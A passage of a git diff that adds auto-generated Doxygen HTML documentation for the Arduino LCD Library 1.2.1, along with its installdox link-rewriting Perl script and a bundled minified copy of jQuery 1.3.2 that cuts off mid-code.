  • noBlink() +: LCD +
  • +
  • noCursor() +: LCD +
  • +
  • noDisplay() +: LCD +
  • +
+ + +

- o -

    +
  • off() +: LCD +
  • +
  • on() +: LCD +
  • +
+ + +

- p -

+ + +

- r -

    +
  • read() +: I2CIO +
  • +
  • rightToLeft() +: LCD +
  • +
+ + +

- s -

+ + +

- w -

+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/functions_vars.html b/libraries/LiquidCrystal/docs/html/functions_vars.html new file mode 100644 index 0000000..835fbb8 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/functions_vars.html @@ -0,0 +1,109 @@ + + + + +LCD Library: Class Members - Variables + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
    +
  • _cols +: LCD +
  • +
  • _displaycontrol +: LCD +
  • +
  • _displayfunction +: LCD +
  • +
  • _displaymode +: LCD +
  • +
  • _numlines +: LCD +
  • +
  • _polarity +: LCD +
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/globals.html b/libraries/LiquidCrystal/docs/html/globals.html new file mode 100644 index 0000000..1df4aa4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals.html @@ -0,0 +1,419 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+
Here is a list of all file members with links to the files they belong to:
+ +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
  • +
  • BACKLIGHT_ON +: LCD.h +
  • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

    +
  • HOME_CLEAR_EXEC +: LCD.h +
  • +
+ + +

- l -

+ + +

- n -

+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+ + +

- w -

    +
  • waitUsec() +: LCD.h +
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/globals_defs.html b/libraries/LiquidCrystal/docs/html/globals_defs.html new file mode 100644 index 0000000..687bef9 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_defs.html @@ -0,0 +1,350 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+  + +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
  • +
  • BACKLIGHT_ON +: LCD.h +
  • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

    +
  • HOME_CLEAR_EXEC +: LCD.h +
  • +
+ + +

- l -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/globals_enum.html b/libraries/LiquidCrystal/docs/html/globals_enum.html new file mode 100644 index 0000000..a6254c2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_enum.html @@ -0,0 +1,95 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
    +
  • t_backlighPol +: LCD.h +
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/globals_eval.html b/libraries/LiquidCrystal/docs/html/globals_eval.html new file mode 100644 index 0000000..426672c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_eval.html @@ -0,0 +1,98 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/globals_func.html b/libraries/LiquidCrystal/docs/html/globals_func.html new file mode 100644 index 0000000..8599914 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_func.html @@ -0,0 +1,128 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/globals_type.html b/libraries/LiquidCrystal/docs/html/globals_type.html new file mode 100644 index 0000000..d480edd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/globals_type.html @@ -0,0 +1,98 @@ + + + + +LCD Library: File Members + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/hierarchy.html b/libraries/LiquidCrystal/docs/html/hierarchy.html new file mode 100644 index 0000000..36aa829 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/hierarchy.html @@ -0,0 +1,97 @@ + + + + +LCD Library: Class Hierarchy + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
Class Hierarchy
+
+
+
This inheritance list is sorted roughly, but not completely, alphabetically:
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/index.html b/libraries/LiquidCrystal/docs/html/index.html new file mode 100644 index 0000000..8ad483a --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/index.html @@ -0,0 +1,78 @@ + + + + +LCD Library: Main Page + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ +
+
+
+
LCD Library Documentation
+
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/installdox b/libraries/LiquidCrystal/docs/html/installdox new file mode 100644 index 0000000..edf5bbf --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/installdox @@ -0,0 +1,112 @@ +#!/usr/bin/perl + +%subst = ( ); +$quiet = 0; + +while ( @ARGV ) { + $_ = shift @ARGV; + if ( s/^-// ) { + if ( /^l(.*)/ ) { + $v = ($1 eq "") ? shift @ARGV : $1; + ($v =~ /\/$/) || ($v .= "/"); + $_ = $v; + if ( /(.+)\@(.+)/ ) { + if ( exists $subst{$1} ) { + $subst{$1} = $2; + } else { + print STDERR "Unknown tag file $1 given with option -l\n"; + &usage(); + } + } else { + print STDERR "Argument $_ is invalid for option -l\n"; + &usage(); + } + } + elsif ( /^q/ ) { + $quiet = 1; + } + elsif ( /^\?|^h/ ) { + &usage(); + } + else { + print STDERR "Illegal option -$_\n"; + &usage(); + } + } + else { + push (@files, $_ ); + } +} + +foreach $sub (keys %subst) +{ + if ( $subst{$sub} eq "" ) + { + print STDERR "No substitute given for tag file `$sub'\n"; + &usage(); + } + elsif ( ! $quiet && $sub ne "_doc" && $sub ne "_cgi" ) + { + print "Substituting $subst{$sub} for each occurrence of tag file $sub\n"; + } +} + +if ( ! @files ) { + if (opendir(D,".")) { + foreach $file ( readdir(D) ) { + $match = ".html"; + next if ( $file =~ /^\.\.?$/ ); + ($file =~ /$match/) && (push @files, $file); + ($file =~ /\.svg/) && (push @files, $file); + ($file =~ "navtree.js") && (push @files, $file); + } + closedir(D); + } +} + +if ( ! @files ) { + print STDERR "Warning: No input files given and none found!\n"; +} + +foreach $f (@files) +{ + if ( ! $quiet ) { + print "Editing: $f...\n"; + } + $oldf = $f; + $f .= ".bak"; + unless (rename $oldf,$f) { + print STDERR "Error: cannot rename file $oldf\n"; + exit 1; + } + if (open(F,"<$f")) { + unless (open(G,">$oldf")) { + print STDERR "Error: opening file $oldf for writing\n"; + exit 1; + } + if ($oldf ne "tree.js") { + while () { + s/doxygen\=\"([^ \"\:\t\>\<]*)\:([^ \"\t\>\<]*)\" (xlink:href|href|src)=\"\2/doxygen\=\"$1:$subst{$1}\" \3=\"$subst{$1}/g; + print G "$_"; + } + } + else { + while () { + s/\"([^ \"\:\t\>\<]*)\:([^ \"\t\>\<]*)\", \"\2/\"$1:$subst{$1}\" ,\"$subst{$1}/g; + print G "$_"; + } + } + } + else { + print STDERR "Warning file $f does not exist\n"; + } + unlink $f; +} + +sub usage { + print STDERR "Usage: installdox [options] [html-file [html-file ...]]\n"; + print STDERR "Options:\n"; + print STDERR " -l tagfile\@linkName tag file + URL or directory \n"; + print STDERR " -q Quiet mode\n\n"; + exit 1; +} diff --git a/libraries/LiquidCrystal/docs/html/jquery.js b/libraries/LiquidCrystal/docs/html/jquery.js new file mode 100644 index 0000000..c052173 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/jquery.js @@ -0,0 +1,54 @@ +/* + * jQuery JavaScript Library v1.3.2 + * http://jquery.com/ + * + * Copyright (c) 2009 John Resig + * Dual licensed under the MIT and GPL licenses. + * http://docs.jquery.com/License + * + * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009) + * Revision: 6246 + */ +(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("",""]||!O.indexOf("",""]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"","
"]||!O.indexOf("",""]||(!O.indexOf("",""]||!O.indexOf("",""]||!o.support.htmlSerialize&&[1,"div
","
"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}}); +/* + * Sizzle CSS Selector Engine - v0.9.3 + * Copyright 2009, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * More information: http://sizzlejs.com/ + */ +(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return UT[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return 